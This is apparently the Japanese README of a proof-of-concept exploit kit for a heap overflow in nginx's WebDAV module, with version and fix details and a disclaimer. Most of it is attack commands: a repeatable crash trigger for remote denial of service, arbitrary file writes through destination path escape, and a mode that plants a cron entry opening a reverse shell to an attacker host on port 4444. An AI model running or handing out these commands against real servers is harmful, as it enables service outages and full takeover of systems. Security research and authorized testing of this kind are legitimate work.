
NGINX `ngx_http_dav_module` ヒープバッファオーバーフロー(`size_t` アンダーフロー経由)(リモートDoS / 潜在的なRCE)
NGINX ngx_http_dav_module における size_t アンダーフローによるヒープバッファオーバーフロー (リモートDoS / 潜在的なRCE)
src/http/modules/ngx_http_dav_module.c 内の ngx_http_dav_copy_move_handler() は、
Destination ヘッダのURIパスコンポーネントからロケーションプレフィックスの長さを引くことで、
宛先URIの長さを計算します。どちらの値も size_t (unsigned 64-bit) です。
宛先パスがロケーションプレフィックスより短い場合、減算結果は ~0 にラップし、
巨大な memcpy 長さを生成し、7バイトのヒープ割り当てをオーバーフローさせ、ワーカープロセスをクラッシュさせます。
alias がマッピングされたDAVロケーションに対する単一の細工された MOVE または リクエストが
オーバーフローを引き起こします。nginxマスターはワーカーを再生成しますが、
リクエストが繰り返されるとサーバーは継続的なクラッシュループに陥ります。
COPYASan 確認: ngx_http_core_module.c:1949 の memcpy で negative-size-param: (size=-7) が発生。
呼び出し元は ngx_http_dav_copy_move_handler。
影響を受けるバージョン: nginx 0.5.13 ~ 1.28.2 (stable) および 1.29.0 ~ 1.29.6 (mainline)。
--with-http_dav_module でコンパイルされ、DAVロケーションで alias を使用している場合。
修正バージョン: 1.28.3 / 1.29.7 (コミット ab4b5b8, PR #1210)。
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
デフォルトモードは標準的なクラッシュトリガーです。 PUT を送信し、続いて Destination パスがDAVロケーションプレフィックスより短い細工された MOVE を送信します。
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
認可されたラボ設定で、DAV宛先処理が相対的な宛先エスケープを許可する場合、同じツールを使って攻撃者が制御するコンテンツを任意のパスに配信できます。正確な --location-prefix, --escape-depth, および宛先パスは、ご自身のサービス設定と情報収集に基づいてください。
# COPY/MOVE 宛先処理を介して選択したパスにリテラルコンテンツを書き込む。
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# ローカルファイルからバイトを書き込む。
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# リバースシェルを開く cron エントリを配信する。
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# 非対話型の認可済み証明用の単発 cron コマンドを配信する。
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell, cron-cmd は、書き込み可能なDAVソースと宛先パスエスケープがある認可済み環境向けの汎用配信ヘルパーです。
標準的なヒープオーバーフローのクラッシュを証明するために必須ではありません。
--with-http_dav_module でコンパイルされたnginx、ロケーションブロックで alias ( root ではない) を使用、dav_methods に COPY または MOVE が含まれていることrequests が利用可能な場合はそれを使用し、それ以外の場合はプレーンHTTPターゲットに対してPython標準ライブラリにフォールバックします。gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| ファイル | 説明 |
|---|---|
poc.py | Python PoC — 標準的なクラッシュトリガーおよび汎用COPY/MOVE宛先モード |
run.sh | ソースからnginxをビルド (ASan / 非ASan) し、PoCを実行 |
Dockerfile | 脆弱なnginx 1.28.2のマルチステージビルド |
docker-compose.yml | ワンコマンドDockerセットアップ |
nginx.conf | 脆弱な設定 (alias + dav_methods COPY MOVE) |
proof_output.txt | ライブ検証からのASan出力 |
このプロジェクトはGNU GPLv3のもとで公開されています。
防御的なセキュリティ研究、教育、および認可されたテストのために提供されています。 所有者から明示的な許可なく、システムやサービスに対してこのコードを使用しないでください。
無断使用は該当する法律に違反する可能性があります。著者は第三者システムのテストを許可せず、誤用に対する責任を負いません。
保証および責任条件についてはLICENSEファイルを参照してください。